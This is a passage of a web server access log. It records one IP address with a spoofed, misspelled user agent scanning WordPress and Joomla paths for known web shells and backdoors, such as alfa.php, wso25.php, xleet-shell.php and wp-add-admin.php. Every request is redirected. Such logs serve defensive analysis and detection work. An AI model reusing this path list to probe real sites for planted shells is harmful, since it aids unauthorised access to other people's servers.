7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:08 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:10 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:13 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:17 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:19 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:21 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:23 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:27 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:30 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:34 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:37 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:42 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:47 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:52 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:55 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:58 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:01 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:08 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:16 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:21 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:31 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:35 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:39 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:44 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:49 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:54 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:15:58 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:01 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:08 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:13 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:17 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:21 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:25 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:29 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:33 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:39 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:44 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:51 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:16:57 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:02 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:09 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:14 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:20 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:24 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:28 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:32 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:34 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:38 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:41 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:45 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:49 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:53 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:17:56 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:02 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:05 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:07 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:10 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:13 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:20 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:24 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:28 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:32 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:37 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:40 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:43 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:45 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:47 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:50 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:53 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:56 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:18:59 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:02 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:04 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:07 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:10 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:18 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:26 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:31 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:39 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:41 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:45 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:48 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:51 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:19:56 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:00 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:06 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:13 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:18 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:22 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:27 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:20:32 -0400] "GET /fx.php 